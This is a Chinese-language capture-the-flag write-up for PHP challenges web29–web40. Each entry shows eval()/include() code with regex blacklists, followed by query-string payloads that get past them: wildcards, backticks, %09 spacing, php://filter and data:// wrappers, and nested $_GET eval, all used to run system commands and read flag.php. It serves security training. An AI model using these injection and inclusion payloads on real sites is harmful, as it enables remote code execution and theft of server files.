web29
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); }
}else{ highlight_file(__FILE__); }
|
preg_match 函数用于执行一个正则表达式匹配。/i意味着不分大小写。本句含义是不能用flag值且忽略了大小写。从这句可以看出过滤了flag
方法1
通用符
想要执行 cat flag.php,但是flag被过滤了,这时候就可以使用通配符
cat f*表示打开当前目录下所有 f开头的文件
1
| ?c=echo system('cat f*');
|
方法2
传入
1
| ?c=echo ‘’?><?php system(‘ls’);
|
可以看到有 flag.php文件,之后采用include结合伪协议进行包含读取
payload:
1 2
| ?c=echo ‘’?><?php include"$_GET[url]";&url=php:
|
方法3
cp命令将flag.php保存到1.txt 再去访问1.txt
1
| ?c=system("cp fla?.php 1.txt");
|
或
1 2
| ?c=system(“cat *php >>2.txt”);
|
接着在url后输入/1.txt就可以看到flag了
web30
1 2 3 4 5 6 7 8 9 10 11
| <?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤了flag,system,php
方法1
反引号执行系统命令
使用通配符或*绕过过滤flag和php
方法2
同29
1
| ?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
|
方法3
用``来代替system(),这里的是tab上面的反斜号
然后/1.txt
web31
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤了flag,system,php,cat,sort,shell,空格,单引号,.
方法1
1 2 3 4 5 6
| ?c=echo(`tac%09f*`) ?c=echo(`tail%09f*`) 需要查看源码: ?c=echo(`nl%09f*`) ?c=echo(`less%09f*`) ?c=echo(`more%09f*`)
|
方法2
采用include结合伪协议进行包含读取
1
| ?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
|
方法3
用eval( )来操作, 这个1已经不属于c的内容了,所以不受过滤管控了,
得到空白页面右击看源码才能得到flag
1 2 3
| ?c=eval($_GET[1]);&1=system('cat flag.php');
MEL
|
将cat 换成 tac 就可以直接看到flag,(tac 是 cat 的反向显示),cat也可以直接看到
1
| ?c=eval($_GET[1]);&1=system('tac flag.php');
|
web32
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,.
方法1
用c=include”$_POST[x]”?>或者c=include”$_GET[x]”?>然后用php伪协议将include包含的文件在页面上显示出来
1 2
| ?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php
|
web33
方法1
多过滤了一个”
使用上一题的方法一样可以做出来
1
| ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
|
web34
方法1
多过滤了一个冒号,也不影响我们使用上面的方法
1
| ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
|
web35
🤔
ps:此处多过滤了<=,与上题题解一样
web36
😝
ps:此处过滤了数字
web37
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag;
}
}else{ highlight_file(__FILE__); }
|
过滤了flag ,又是 include 文件包含
方法1
利用伪协议读flag
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
1 2
| ?c=data://text/plain,<?php echo system('cat fl*');?> ?c=data://text/plain,<?php%20 system('cat fl*');?>
|
方法2
base64解码为<?php system('cat flag.php');?>
查看源码即可得到flag
web38
原理同上一题,多了个php过滤
web39
1 2 3 4 5 6 7 8 9 10 11 12
| <?php
error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); }
|
过滤了flag,限制了.php后缀
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
flag使用*绕过
1 2
| ?c=data://text/plain,<?php echo system('cat fl*');?> ?c=data://text/plain,<?php%20 system('cat fl*');?>
|
查看源码即可得到flag
这样就相当于执行了php语句.php
Web 40
1 2 3 4 5 6 7 8 9 10
| <?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
|
过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,正则中的括号不是英文的 是过滤了中文的括号
1
| /?c=show_source(next(array_reverse(scandir(getcwd()))));
|